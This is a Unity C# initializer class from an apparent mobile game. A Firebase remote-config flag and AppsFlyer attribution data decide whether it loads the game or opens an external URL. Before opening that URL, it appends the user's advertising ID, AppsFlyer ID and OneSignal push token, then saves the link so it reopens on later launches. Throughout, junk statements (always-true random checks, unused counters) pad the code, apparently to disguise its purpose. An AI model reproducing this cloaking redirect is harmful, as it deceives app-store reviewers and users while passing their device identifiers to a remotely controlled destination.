using OneSignalSDK;
using UnityEngine;
using UnityEngine.Tilemaps;
namespace UniversalSDK.CoreLogic
{
public class Initializer : BaseInitializer
{
private bool _organicValue;
private int InitCounterForEveryone;
private bool stateSwitcher;
public override void SecondStep()
{
Init();
if (InitializationType == InitializationType.Facebook)
{
InitCounterForEveryone++;
InitFb();
}
stateSwitcher = false;
}
private void Init()
{
OrganicValue = Firebase.RemoteConfig.FirebaseRemoteConfig.DefaultInstance.GetValue(OrganikKey).StringValue;
Link = Firebase.RemoteConfig.FirebaseRemoteConfig.DefaultInstance.GetValue(LinkKey).StringValue;
if (string.IsNullOrEmpty(Link))
{
LoadGame();
InitCounterForEveryone++;
}
else if (string.IsNullOrEmpty(OrganicValue))
{
LoadGame();
}
else
{
InitCounterForEveryone++;
CheckOrganicSwitcher();
if (Random.Range(0, 1) == 0)
{
stateSwitcher = true;
}
}
}
private void CheckOrganicSwitcher()
{
if (OrganicValue is "true" or "True")
{
_organicValue = true;
AppsInit();
if (Random.Range(0, 1) == 0)
{
InitCounterForEveryone--;
}
}
else if (OrganicValue is "false" or "False")
{
_organicValue = false;
AppsInit();
stateSwitcher = false;
}
else
{
AppsInitWithoutSub();
LoadGame();
}
}
private void AppsInit()
{
if (Random.Range(0, 1) == 0)
{
stateSwitcher = true;
}
// AppsFlyer.OnGetConversionData += ConversionDataHandler;
InitCounterForEveryone++;
// AppsFlyer.OnAppsFlyerNoAnswer += AppsFlyerNoAnswer;
stateSwitcher = false;
InitilizeAppsFlyer();
if (Random.Range(0, 1) == 0)
{
InitCounterForEveryone--;
}
}
private void AppsInitWithoutSub()
{
if (Random.Range(0, 1) == 0)
{
stateSwitcher = true;
}
InitilizeAppsFlyer();
}
private void ConversionDataHandler(bool isInit,string conversionData)
{
if (CheckLinkSave())
{
string link = GetSaveLink();
InitCounterForEveryone++;
OpenLink(link);
if (Random.Range(0, 1) == 0)
{
stateSwitcher = true;
}
}
else
{
if (isInit)
{
if (conversionData.StartsWith(Config.Scheme))
{
Naming(conversionData);
}
else
{
if (_organicValue)
{
if (Random.Range(0, 1) == 0)
{
InitCounterForEveryone--;
}
InitCounterForEveryone++;
OrganicLink(Link);
}
else
{
if (Random.Range(0, 1) == 0)
{
stateSwitcher = true;
}
LoadGame();
}
}
}
else
{
if (_organicValue)
{
OrganicLink(Link);
}
else
{
if (Random.Range(0, 1) == 0)
{
InitCounterForEveryone--;
}
LoadGame();
}
}
}
}
private void AppsFlyerNoAnswer()
{
if (_organicValue)
{
InitCounterForEveryone++;
OrganicLink(Link);
}
else
{
LoadGame();
stateSwitcher = false;
}
}
private void OrganicLink(string link)
{
InitCounterForEveryone++;
string decodedLink = EncodeUrl(link);
if (Random.Range(0, 1) == 0)
{
stateSwitcher = true;
}
string externalID = OneSignal.Default.PushSubscriptionState.pushToken;
string fullLink = $"{decodedLink}&sub9={AppsFlyerSDK.AppsFlyer.getAppsFlyerId()}&sub10={GetAdvertisingId()}&external_id={externalID}";
InitCounterForEveryone++;
SaveLink(fullLink);
OpenLink(fullLink);
if (Random.Range(0, 1) == 0)
{
InitCounterForEveryone--;
}
}
private void Naming(string campaing)
{
var external_id = OneSignal.Default.PushSubscriptionState.pushToken;
if (Random.Range(0, 1) == 0)
{
stateSwitcher = true;
}
var naming = NamingCore(campaing);
var linkWithoutKey = KeyCutting(Link);
var _fullLink = $"{linkWithoutKey + naming}&sub9={AppsFlyerSDK.AppsFlyer.getAppsFlyerId()}&sub10={GetAdvertisingId()}&external_id={external_id}";
InitCounterForEveryone++;
SaveLink(_fullLink);
OpenLink(_fullLink);
if (Random.Range(0, 1) == 0)
{
stateSwitcher = true;
}
}
public string NamingCore(string campaing)
{
campaing = campaing.Remove(0, Config.Scheme.Length);
var spliter = campaing.Split(char.Parse("/"));
var elementCount = spliter.Length;
InitCounterForEveryone++;
var appKey = spliter[0];
if (Random.Range(0, 1) == 0)
{
InitCounterForEveryone--;
}
var link = appKey;
stateSwitcher = false;
for (int i = 1; i < elementCount; i++)
{
link += "&sub" + i.ToString() + "=" + spliter[i];
}
stateSwitcher = false;
if (Random.Range(0, 1) == 0)
{
InitCounterForEveryone--;
}
return link;
}
}
}